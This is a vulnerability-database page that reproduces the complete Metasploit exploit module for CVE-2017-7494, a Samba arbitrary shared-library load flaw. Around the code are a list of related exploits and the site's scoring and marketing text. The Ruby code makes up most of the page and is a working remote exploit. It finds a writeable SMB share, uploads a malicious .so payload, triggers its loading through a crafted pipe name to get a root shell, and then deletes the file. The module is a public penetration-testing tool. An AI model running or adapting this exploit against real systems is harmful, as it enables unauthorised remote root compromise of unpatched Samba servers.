Lucene search
+L

Samba is_known_pipename() Arbitrary Module Load

🗓️ 24 Mar 2017 00:00:00Reported by steelo <[email protected]>, hdm <[email protected]>, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 1988 Views

Samba is_known_pipename() Arbitrary Module Load, triggers vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Samba
2 Dec 202509:55
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Samba
25 May 201713:20
githubexploit
githubexploit
GithubExploit
solutions
23 Aug 202617:04
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Samba
15 May 202106:52
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Samba
30 May 201715:08
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Samba
25 May 201713:20
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2017-0143
16 May 201719:34
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Samba
9 May 202102:32
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Samba
15 Aug 202612:44
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Samba
5 Jun 201716:25
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
        'Description' => %q{
          This module triggers an arbitrary shared library load vulnerability
          in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
          requires valid credentials, a writeable folder in an accessible share,
          and knowledge of the server-side path of the writeable folder. In
          some cases, anonymous access combined with common filesystem locations
          can be used to automatically exploit this vulnerability.
        },
        'Author' => [
          'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
          'hdm', # Metasploit Module
          'bcoles', # Check logic
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1083_FILE_AND_DIRECTORY_DISCOVERY ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1135_NETWORK_SHARE_DISCOVERY ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1592_002_SOFTWARE ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1055_001_DYNAMIC_LINK_LIBRARY_INJECTION ]
        ],
        'Payload' => {
          'Space' => 9000,
          'DisableNops' => true
        },
        'Platform' => 'linux',
        'Targets' => [

          [
            'Automatic (Interact)',
            {
              'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
                }
              }
            }
          ],
          [
            'Automatic (Command)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
          ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
          [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
          [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
          [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
          [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
          [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
          [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
          [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
          [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
          [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
          [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
          [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
        ],
        'DefaultOptions' => {
          'DCERPC::fake_bind_multi' => false,
          'SHELL' => '/bin/sh'
        },
        'Privileged' => true,
        'DisclosureDate' => '2017-03-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ]
    )
  end

  def post_auth?
    true
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  def setup
    super
    @payload_arch_mappings = {
      ARCH_X86 => [ 'x86' ],
      ARCH_X64 => [ 'x86_64' ],
      ARCH_MIPS => [ 'mips' ],
      ARCH_MIPSLE => [ 'mipsel' ],
      ARCH_MIPSBE => [ 'mips' ],
      ARCH_MIPS64 => [ 'mips64' ],
      ARCH_MIPS64LE => [ 'mips64el' ],
      ARCH_PPC => [ 'powerpc' ],
      ARCH_PPC64 => [ 'powerpc64' ],
      ARCH_PPC64LE => [ 'powerpc64le' ],
      ARCH_SPARC => [ 'sparc' ],
      ARCH_SPARC64 => [ 'sparc64' ],
      ARCH_ARMLE => [ 'armel', 'armhf' ],
      ARCH_AARCH64 => [ 'aarch64' ],
      ARCH_ZARCH => [ 's390x' ]
    }

    # Architectures we don't offically support but can shell anyways with interact
    @payload_arch_bonus = %w[
      mips64el sparc64 s390x
    ]

    # General platforms (OS + C library)
    @payload_platforms = %w[
      linux-glibc
    ]
  end

  # List all top-level directories within a given share
  def enumerate_directories(share)
    vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
    connect(versions: [1])
    smb_login
    simple.connect("\\\\#{rhost}\\#{share}")
    stuff = simple.client.find_first('\\*')
    directories = ['']
    stuff.each_pair do |entry, entry_attr|
      next if %w[. ..].include?(entry)
      next unless entry_attr['type'] == 'D'

      directories << entry
    end

    return directories
  rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
    vprint_error("Enum #{share}: #{e}")
    return nil
  ensure
    simple.disconnect("\\\\#{rhost}\\#{share}")
    smb_connect
  end

  # Determine whether a directory in a share is writeable
  def verify_writeable_directory(share, directory = '')
    simple.connect("\\\\#{rhost}\\#{share}")

    random_filename = Rex::Text.rand_text_alpha(5) + '.txt'
    filename = directory.empty? ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

    wfd = simple.open(filename, 'rwct')
    wfd << Rex::Text.rand_text_alpha(8)
    wfd.close

    simple.delete(filename)
    return true
  rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
    vprint_error("Write #{share}#{filename}: #{e}")
    return false
  ensure
    simple.disconnect("\\\\#{rhost}\\#{share}")
  end

  # Call NetShareGetInfo to retrieve the server-side path
  def find_share_path
    share_info = smb_netsharegetinfo(@share)
    share_info[:path].gsub('\\', '/').sub(/^.*:/, '')
  end

  # Crawl top-level directories and test for writeable
  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if !datastore['SMB_FOLDER'].to_s.empty?
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)

      return subdir
    end

    nil
  end

  # Locate a writeable directory across identified shares
  def find_writeable_share_path
    @path = nil
    share_info = smb_netshareenumall
    if datastore['SMB_SHARE_NAME'].blank?
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end

    share_info.each do |share|
      next if share.blank?
      next if share.first.blank?
      next if share.first.upcase == 'IPC$'

      found = find_writeable_path(share.first)
      next unless found

      @share = share.first
      @path = found
      break
    end
  end

  # Locate a writeable share
  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error('No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER')
      fail_with(Failure::NoTarget, 'No matching target')
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  # Store the wrapped payload into the writeable share
  def upload_payload(wrapped_payload)
    begin
      simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8) + '.so'
      filename = @path.empty? ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << wrapped_payload
      wfd.close

      @payload_name = random_filename
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false
    ensure
      simple.disconnect("\\\\#{rhost}\\#{@share}")
    end

    print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
    return true
  end

  # Try both pipe open formats in order to load the uploaded shared library
  def trigger_payload
    target = [@share_path, @path, @payload_name].join('/').gsub(%r{/+}, '/')
    [
      '\\\\PIPE\\' + target,
      target
    ].each do |tpath|
      print_status("Loading the payload from server-side path #{target} using #{tpath}...")

      smb_connect

      # Try to execute the shared library from the share
      begin
        simple.client.create_pipe(tpath)
        probe_module_path(tpath)
      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
        # Common errors we can safely ignore
      rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
        # Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
        if e.error_code == 0xc0000039
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.error_name}")
        end
      rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
        if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.status_code.name}")
        end
      end

      disconnect
    end

    false
  end

  def pwn
    print_good('Probe response indicates the interactive payload was loaded...')
    smb_shell = sock
    self.sock = nil
    remove_socket(sock)
    handler(smb_shell)
  end

  # Use fancy payload wrappers to make exploitation a joyously lazy exercise
  def cycle_possible_payloads
    template_base = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-7494')
    template_list = []
    template_type = nil

    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)
      template_type = target['Interact'] ? 'findsock' : 'system'

      all_architectures = @payload_arch_mappings.values.flatten.uniq

      # Include our bonus architectures for the interact payload
      if target['Interact']
        @payload_arch_bonus.each do |t_arch|
          all_architectures << t_arch
        end
      end

      # Prioritize the most common architectures first
      %w[x86_64 x86 armel armhf mips mipsel].each do |t_arch|
        template_list << all_architectures.delete(t_arch)
      end

      # Queue up the rest for later
      all_architectures.each do |t_arch|
        template_list << t_arch
      end

    # Handle the specific architecture targets next
    else
      template_type = 'shellcode'
      target.arch.each do |t_name|
        @payload_arch_mappings[t_name].each do |t_arch|
          template_list << t_arch
        end
      end
    end

    # Remove any duplicates that mau have snuck in
    template_list.uniq!

    # Cycle through each top-level platform we know about
    @payload_platforms.each do |t_plat|
      # Cycle through each template and yield
      template_list.each do |t_arch|
        wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
        next unless ::File.exist?(wrapper_path)

        data = ''
        ::File.open(wrapper_path, 'rb') do |fd|
          data = Rex::Text.ungzip(fd.read)
        end

        pidx = data.index('PAYLOAD')
        if pidx
          data[pidx, payload.encoded.length] = payload.encoded
        end

        vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
        yield(data)
      end
    end
  end

  # Verify that the payload settings make sense
  def sanity_check
    if target['Interact'] && datastore['PAYLOAD'] != 'cmd/unix/interact'
      print_error('Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact')
      print_error('       Please set PAYLOAD to cmd/unix/interact and try this again')
      print_error('')
      fail_with(Failure::NoTarget, 'Invalid payload chosen for the interactive target')
    end

    if !target['Interact'] && datastore['PAYLOAD'] == 'cmd/unix/interact'
      print_error('Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact')
      print_error('       Please set a valid PAYLOAD and try this again')
      print_error('')
      fail_with(Failure::NoTarget, 'Invalid payload chosen for the non-interactive target')
    end
  end

  # Shorthand for connect and login
  def smb_connect
    connect
    smb_login
  end

  # Start the shell train
  def exploit
    # Validate settings
    sanity_check

    # Setup SMB
    smb_connect

    # Find a writeable share
    find_writeable

    # Retrieve the server-side path of the share like a boss
    print_status("Retrieving the remote path of the share '#{@share}'")
    @share_path = find_share_path
    print_status("Share '#{@share}' has server-side path '#{@share_path}")

    # Disconnect
    disconnect

    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|
      # Connect, upload the shared library payload, disconnect
      smb_connect
      upload_payload(wrapped_payload)
      disconnect

      # Trigger the payload
      early = trigger_payload

      # Cleanup the payload
      begin
        smb_connect
        simple.connect("\\\\#{rhost}\\#{@share}")
        uploaded_path = @path.empty? ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
        simple.delete(uploaded_path)
        disconnect
      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError => e
        vprint_error(e.message)
      end

      # Bail early if our interact payload loaded
      return if early
    end
  end

  # A version-based vulnerability check for Samba
  def check
    res = smb_fingerprint

    unless res['native_lm'] =~ /Samba ([\d.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe("Target does not appear to be running Samba: #{res['os']} / #{res['native_lm']}")
    end

    samba_version = Rex::Version.new(::Regexp.last_match(1).gsub(/\.$/, ''))

    vprint_status("Samba version identified as #{samba_version}")

    if samba_version < Rex::Version.new('3.5.0')
      return CheckCode::Safe("Samba version #{samba_version} is below 3.5.0 and not vulnerable")
    end

    # Patched in 4.4.14
    if samba_version < Rex::Version.new('4.5.0') &&
       samba_version >= Rex::Version.new('4.4.14')
      return CheckCode::Safe("Samba version #{samba_version} is patched (>= 4.4.14)")
    end

    # Patched in 4.5.10
    if samba_version > Rex::Version.new('4.5.0') &&
       samba_version < Rex::Version.new('4.6.0') &&
       samba_version >= Rex::Version.new('4.5.10')
      return CheckCode::Safe("Samba version #{samba_version} is patched (>= 4.5.10)")
    end

    # Patched in 4.6.4
    if samba_version >= Rex::Version.new('4.6.4')
      return CheckCode::Safe("Samba version #{samba_version} is patched (>= 4.6.4)")
    end

    smb_connect
    find_writeable_share_path
    disconnect

    if @share.to_s.empty?
      return CheckCode::Detected("Samba version #{samba_version} found, but no writeable share has been identified")
    end

    return CheckCode::Appears("Samba version #{samba_version} found with writeable share '#{@share}'")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Mar 2017 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.19.8
CVSS 210
EPSS0.99448
SSVC
1988